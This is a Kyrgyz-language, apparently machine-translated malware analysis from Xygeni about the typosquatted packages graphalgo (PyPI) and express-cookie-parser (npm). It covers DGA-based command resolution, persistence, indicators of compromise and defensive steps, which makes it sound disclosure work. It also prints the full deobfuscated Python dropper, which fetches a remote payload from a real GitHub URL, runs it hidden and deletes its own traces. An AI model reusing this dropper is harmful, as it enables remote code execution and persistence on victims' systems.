Xygeni жакында эле 2025-жылы программалык камсыздоо чынжырына кол салуулардын чөйрөсүндө тынчсыздандыруучу көрүнүштү байкаган., эки популярдуу пакет менеджерлеринде пайда болууда: P&IP жана КЭУББиздин уланып жаткан коркунучтарды чалгындоо аракеттерибиздин бир бөлүгү катары,Xygeni'нин зыяндуу программасы жөнүндө эрте эскертүү (MEW) курал мурда башка реестрге жүктөлгөн зыяндуу пакеттин айырмаланган, бирок методологиялык жактан окшош мисалын аныктады. Бул окуя коркунуч келтирүүчү субъекттердин экосистемаларда, айрыкча, экосистемаларда чабуул ыкмаларын кантип өнүгүп жана кайра колдонуп жатканын көрсөтүп турат. зыяндуу Python пакеттери жана зыяндуу npm пакеттери, бул зыяндуу пакеттердин ачык булактуу жеткирүү чынжырларына кирип кетүү коркунучун жогорулатат.
Xygeni'нин MEW: Окшоштуктарды табуу
Xygeni'нин MEW куралы зыяндуу пакеттерди, айрыкча 2025-жылы программалык камсыздоо чынжырынын чабуулдарына байланыштуу пакеттерди ачык булактуу реестрлерге жарыялангандан кийин дароо аныктоо жана белгилөө үчүн иштелип чыккан. Ал жаңы пакеттердин шектүү жүрүм-турумун талдоо менен иштейт.
Бул учурда, ал эки нерсени аныктады зыяндуу Python пакеттери (graphalgo PyPI боюнча) жана зыяндуу npm пакеттери (express-cookie-parser npm боюнча).
Программалык камсыздоо чынжырынын чабуулдарындагы зыяндуу Python жана npm пакеттери (2025)
Келгиле, эскертүүлөрүбүздү иштеткен жалпы мүнөздөмөлөрдү карап көрөлү:
typosquatting
Экөө тең популярдуу болгон учурдагы пакеттерди туураганга аракет кылышкан.
- графальго (PyPI)"Графтарды жана тармактарды түзүү жана башкаруу үчүн Python пакети."аттуу колдонуучу тарабынан жүктөлдү «ларритех» 2025-жылдын 13-июнунда бул пакет өзүн баштапкы зыяндуу эмес graphalgo долбооруна PyPi альтернативасы катары көрсөткөн, кийинчерээк ал graphdict деп аталып калган.
- экспресс-куки-талдоочу (npm)Бул пакет белгилүү куки-парсер пакетин туураган, ал тургай анын чагылышын да чагылдырган README.md. Мындай башка бирөөнүн атынан чыгуу - бул бар болгон ишенимди пайдалануу үчүн классикалык тактика.
Биринчи коргонуу линиясы катары обфускация
Эки пакет тең баштапкы файлдардын ичиндеги зыяндуу кодун бурмалап коюшкан. графальго, ичинде чаташтырылган код табылды /utils/load_libraries.py. учурда экспресс-куки-талдоочу, cookie-loader.min.js бүдөмүк жүктү камтыган.
Бул баштапкы бүдөмүктөө катмары, адатта, кокустук текшерүүгө жана статикалык анализге тоскоолдук кылуу үчүн колдонулат. Бүдөмүктөө бир топ жөнөкөй болгон: кайталанган ZLib кысуусу жана Base64 коддоосу. Бул бүдөмүктөө түрү программалык камсыздоонун өзүнүн жүрүм-турумун жашырууга аракет кылып жатканын ачык көрсөтүп турат. Башка далилдер менен бирге, бул Xygeni MEWге пакеттерди потенциалдуу зыяндуу программа катары классификациялоого мүмкүндүк берди. Ырастоо этабында биздин кароочулар дароо зыяндуу дроппер этабын көрсөткөн деобфускация скриптин даярдашты.
Көп баскычтуу пайдалуу жүктөрдү жеткирүү жана биргелешкен баштапкы чекит
Эки пакет тең баштапкы "тамчылар", чыныгы пайдалуу жүк үчүн негиз түзүү. Алар жалпы тышкы "тукум"файлдын URL дареги:"https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
Бул бирдей тышкы үрөн файлы жалпы коркунуч туудурган субъекттин күчтүү көрсөткүчү болуп саналат. Кызыгы, бул үрөн файлынын мазмуну жөнөкөй чөйрө өзгөрмөлөрү (мисалы, JWT_SECRET, PORT) болуп көрүнөт, бул анын чыныгы функциясын текшерүүдө жаңылыштыкка алып келиши мүмкүн.
DGA менен динамикалык C2 чечилиши
Бул зыяндуу пакеттерде байкалган татаал тактика - бул Буйрук жана башкаруу (C2) серверин динамикалык түрдө чечүү үчүн Доменди түзүү алгоритмин (DGA) колдонуу. Бул ыкма, көбүнчө 2025-жылы программалык камсыздоонун өнүккөн чынжырына кол салууларда байкалат, үрөн файлынын мазмунунан алынган SHA256 хэшине жана башка катуу коддолгон маанилерге таянат. Ошентип, C2 инфраструктурасы тез-тез өзгөрүп турат, бул салттуу кара тизмелөөнү бир топ натыйжалуу кылбайт. Бул учурда, npm варианты туруктуу маанини колдонгон 496AAC7E анын DGA логикасынын бир бөлүгү катары.
Туруктуулукту орнотуу
Эки чабуулчу тең жабыркаган системаларда узак мөөнөттүү катышууну камсыз кылууга аракет кылышкан. Алардын стратегиясы файлды жок кылуу болгон, startup.py (PyPi үчүн) же startup.js (npm үчүн), ар кандай операциялык тутумдардагы (Windows, Linux, macOS) жалпы Google Chrome колдонуучу маалыматтарынын каталогдоруна.
Аткаруудан кийинки тазалоо
Издерди минималдаштыруу үчүн эки зыяндуу скрипт тең тазалоо операцияларын аткарышкан. Буга алардын баштапкы дроппер файлдарын жок кылуу кирген (load_libraries.py, cookie-loader.min.js) жана мыйзамдуу пакет файлдарын өзгөртүү (__init__.py, index.js) азыр өчүрүлгөн компоненттерге шилтемелерди алып салуу үчүн.
Зыяндуу Python жана npm пакеттериндеги компромисс көрсөткүчтөрү
- PyPI пакети: graphalgo (larrytech тарабынан жарыяланган, 2025-жылдын 13-июну)
- npm пакети: экспресс-куки-парсери (тактап айтканда 1.4.12 версиясы)
- Бөлүшүлгөн үрөн URL дарегине кирүү мүмкүнчүлүгү:
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
- Туруктуу файл аттары:
startup.py(Python)startup.js(JavaScript) - Жалпы туруктуу жолдор (OSке көз каранды)Google Chrome колдонуучу маалыматтарынын каталогдорунда (мисалы,
AppData\Local\Google\Chrome\UserData\Scripts\Windows,~/.config/google-chrome/Scripts/Linux'та ж.б.).
2025-жылы программалык камсыздоо чынжырынын чабуулдарында зыяндуу пакеттерден кантип коргонуу керек
Иштеп чыгуучулар үчүн сунушталган ыкма
Бул окуя 2025-жылы программалык камсыздоо чынжырынын чабуулдарынын өнүгүп жаткан коркунуч чөйрөсүндө баалуу изилдөө болуп саналат. Ал зыяндуу Python пакеттери жана зыяндуу npm пакеттери ишенимдүү экосистемаларга кантип кирип кетиши мүмкүн экенин, көп учурда кеч болуп калганга чейин аныктоодон качып кетиши мүмкүн экенин баса белгилейт. Ошондуктан эрте аныктоо, акылдуу куралдар жана проактивдүү система гигиенасы азыр ар кандай коопсуз DevOps жумуш агымынын маанилүү бөлүктөрү болуп саналат. Иштеп чыгуучулар төмөнкүлөрдү эске алуусу сунушталат:
Көз карандылыкты карап чыгуу
Эгерде сиздин долбоорлоруңузда төмөнкүлөр камтылган болсо графальго or экспресс-куки-талдоочу, аларды алып салууну улантуу акылдуулукка жатат.
- PyPI үчүн:
pip uninstall graphalgo - npm үчүн:
npm uninstall express-cookie-parser
Системалык гигиена
Системаны комплекстүү сканерлөөнү карап көрүңүз. Ошондой эле, күтүлбөгөн жагдайлар үчүн Chrome колдонуучусунун маалыматтар каталогунун жалпы жолдорун кол менен текшерүү сунушталат. startup.py or startup.js темаларын карап чыгышты.
Проактивдүү коопсуздук чаралары
- Жаңы көз карандылыктарды баалоо: Жаңы пакеттерди интеграциялоодон мурун кылдат баалоо үчүн үзгүлтүксүз иш-аракетти түзүңүз, тааныш эмес басмаканалардын пакеттерине көңүл буруңуз.
- Коопсуздук куралдарын интеграциялооXygeni'нин MEW сыяктуу куралдары жана башка программалык камсыздоонун курамын талдоо (SCA) чечимдери шектүү жүрүм-турумдарды жана алсыздыктарды аныктоо менен коргонуунун маанилүү катмарын камсыздай алат.
- Эң аз артыкчылыкИштеп чыгуу чөйрөлөрүн эң аз артыкчылык принциби менен иштетүү компромисстин мүмкүн болгон таасирин чектөөгө жардам берет.
- Network AwarenessКээде адаттан тыш байланыштарды издөө үчүн чыгуучу тармак трафигин көзөмөлдөө DGA тарабынан түзүлгөн C2 байланыштарын аныктай алат.
Негизги компоненттери load_libraries.py (graphalgoдон)
import os
import sys
import subprocess
import base64
import hashlib
import time
from urllib.request import urlopen, Request
url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU="
remove_url = base64.b64decode(url_b64).decode()
python_path = sys.executable
def download_remote_content(url, output_path):
try:
req = Request(url, headers={"User-Agent": "Mozilla/5.0"})
with urlopen(req) as response, open(output_path, "wb") as out_file:
if response.status != 200:
print(f"Failed to download the file. Status code: {response.status}")
return False
data = response.read()
out_file.write(data)
return True
except Exception as e:
print(f"Download failed: {e}")
return False
def run_process(path_to_script, params=[]):
if sys.platform.startswith("win"):
creationflags = subprocess.CREATE_NO_WINDOW
subprocess.Popen(
[sys.executable, path_to_script, *params],
creationflags=creationflags,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL
)
else:
subprocess.Popen(
[sys.executable, path_to_script, *params],
start_new_session=True,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
close_fds=True
)
def get_output_file_path():
py_file_path = None
home_dir = os.path.expanduser("~")
platform = os.sys.platform
if platform.startswith("win"):
py_file_path = os.path.join(home_dir, "AppData", "Local", "Google", "Chrome", "User Data")
elif platform.startswith("linux"):
py_file_path = os.path.join(home_dir, ".config", "google-chrome")
elif platform == "darwin":
py_file_path = os.path.join(home_dir, "Library", "Application Support", "Google", "Chrome")
if not os.path.exists(py_file_path):
if platform.startswith("win"):
py_file_path = os.path.join(home_dir, "AppData", "Local")
elif platform.startswith("linux"):
py_file_path = os.path.join(home_dir, ".config")
elif platform == "darwin":
py_file_path = os.path.join(home_dir, "Library", "Application Support")
# Ensure base directory exists
os.makedirs(py_file_path, exist_ok=True)
script_path = os.path.join(py_file_path, "Scripts")
os.makedirs(script_path, exist_ok=True)
py_file_path = os.path.join(script_path, "startup.py")
return py_file_path
def remove_self():
# Remove this script file
os.remove(__file__)
# Remove \'graph_settings.py\' in the same directory
graph_settings_path = os.path.join(os.path.dirname(__file__), "graph_settings.py")
if os.path.exists(graph_settings_path):
os.remove(graph_settings_path)
# Modify \'../classes/digraph.py\' if it exists
graph_file_path = os.path.join(os.path.dirname(__file__), "..", "classes", "digraph.py")
graph_file_path = os.path.abspath(graph_file_path) # Normalize path
init_file_path = os.path.join(os.path.dirname(__file__), "__init__.py")
init_file_path = os.path.abspath(init_file_path) # Normalize path
# replace content of the __init__.py file
if os.path.exists(init_file_path):
with open(init_file_path, \'r\', encoding=\'utf-8\') as file:
file_content = file.read()
updated_content = file_content \\
.replace("from networkx.utils.graph_settings import *", "") \\
.replace("from networkx.utils.load_libraries import *", "")
with open(init_file_path, \'w\', encoding=\'utf-8\') as file:
file.write(updated_content)
# replace content of the __init__.py file
if os.path.exists(graph_file_path):
with open(graph_file_path, \'r\', encoding=\'utf-8\') as file:
file_content = file.read()
updated_content = file_content \\
.replace("nx.utils.graph_settings.init_graph(self.graph, attr)", "") \\
with open(graph_file_path, \'w\', encoding=\'utf-8\') as file:
file.write(updated_content)
def simple_shift_encrypt(text, password):
key = int(hashlib.sha256(password).hexdigest(), 16)
encrypted_bytes = bytes([(ord(char) + (key % 256)) % 256 for char in text])
return base64.encode(encrypted_bytes).decode()
def simple_shift_decrypt(encoded_text, password):
key = int(hashlib.sha256(password).hexdigest(), 16)
encrypted_bytes = base64.b64decode(encoded_text)
decrypted = \'\'.join([chr((b - (key % 256)) % 256) for b in encrypted_bytes])
return decrypted
def load_libraries(key):
max_retry_count = 3
output_file_path = get_output_file_path()
encoded = "6PT08PO6r6/j7+Tl8O/v7K7j7O/15K/w9eLs6eOv8/Th8vT18K7w+b/25fK9sa6ypvT58OW97e/k9ezl"
for _ in range(max_retry_count):
if not download_remote_content(remove_url, output_file_path):
time.sleep(2)
continue
download_url = ""
with open(output_file_path, "rb") as f:
file_content = f.read()
sha256_hash = hashlib.sha256()
sha256_hash.update(file_content + key.encode())
password = sha256_hash.digest()
download_url = simple_shift_decrypt(encoded, password)
if not download_url or not download_remote_content(download_url, output_file_path):
time.sleep(2)
continue
os.chmod(output_file_path, 0o755)
run_process(output_file_path)
time.sleep(1)
remove_self()
break
if __name__ == "__main__":
if len(sys.argv) >= 2:
load_libraries(sys.argv[1])
download_remote_content(): Көрсөтүлгөн URL даректеринен файлдарды алып келүүнү иштетет.run_process()Тышкы Python скрипттерин өзүнчө түрдө аткарат, чыгарууну жашыруун бойдон калтыруу үчүн басат.get_output_file_path()Туруктуу startup.py файлы үчүн идеалдуу системанын жайгашкан жерин аныктайт.remove_self()Баштапкы зыяндуу файлдарды жана пакеттик өзгөртүүлөрдү аткаруудан кийинки тазалоону уюштурат.simple_shift_encrypt()/simple_shift_decrypt()Байланыш каналдарын жашыруу үчүн ыңгайлаштырылган криптографиялык функциялар, DGAны ишке ашыруу үчүн абдан маанилүү.load_libraries()Баштапкы жүктөөдөн баштап, акыркы пайдалуу жүктү аткарууга жана тазалоого чейинки бүтүндөй көп баскычтуу процессти координациялаган борбордук функция.
жарааттар
MEW тарабынан аныкталган башка потенциалдуу зыяндуу пакеттер сыяктуу эле, көз карандылык брандмауэри бул зыяндуу пакеттерди өздөрүнүн көз карандылыктарына кошкон колдонуучуларды дароо коргогон. Ырастоодон кийин, биз эки реестр үчүн тең билдирүү жол-жоболорун аткардык, алар карап чыккандан кийин эки пакетти тең алып салышты.







